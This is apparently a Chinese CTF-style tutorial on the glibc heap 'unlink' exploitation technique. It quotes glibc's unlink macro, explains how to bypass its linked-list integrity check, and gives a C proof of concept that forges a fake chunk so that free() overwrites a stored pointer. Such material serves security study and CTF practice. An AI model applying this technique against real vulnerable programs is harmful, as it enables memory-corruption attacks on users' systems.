文章目录
发生条件:
unlink是利用glibc malloc 的内存回收机制造成攻击的,核心就在于当两个free的堆块在物理上相邻时,会将他们合并,并将原来free的堆块在原来的链表中解链,加入新的链表中,但这样的合并是有条件的,向前或向后合并。
unlink 源码:
#define bin_at(m, i) \
(mbinptr) (((char *) &((m)->bins[((i) - 1) * 2])) \
- offsetof (struct malloc_chunk, fd))
/* analog of ++bin */
#define next_bin(b) ((mbinptr) ((char *) (b) + (sizeof (mchunkptr) << 1)))
/* Reminders about list directionality within bins */
#define first(b) ((b)->fd)
#define last(b) ((b)->bk)
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) { \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
else { \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range (P->size)&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr (check_action, \
"corrupted double-linked list (not small)", \
P, AV); \
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}
演示
绕过机制:
unlink 对 FD 和 BK 进行检验
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
为了绕过检查 , 我们使 FD->bk == p , BK->fd == P ,
其中字段修改的含义在
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/heap_structure-zh/#_3
有介绍。
测试代码:
#include <stdio.h>
#include <stdlib.h>
int main(void){
void * p1 , * p2;
p1 = malloc(0x80);
p2 = malloc(0x80);
//fake chunk
//size
*(long long *)((long long)p1+0x8) = 0x81;
//fd
*(long long *)((long long)p1+0x10) = (long long)&p1 - 0x18;
//bk
*(long long *)((long long)p1+0x18) = (long long)&p1 - 0x10;
// next chunk's prev_size
*(long long *)((long long)p2-0x10) = 0x80;
//set p = 0;
*(long long *)((long long)p2-0x8) = 0x90;
free(p2);
return 0;
}
未修改堆区源码:
修改以后堆区:
free 时 执行unlink ,就修改了 p1 指向的地址。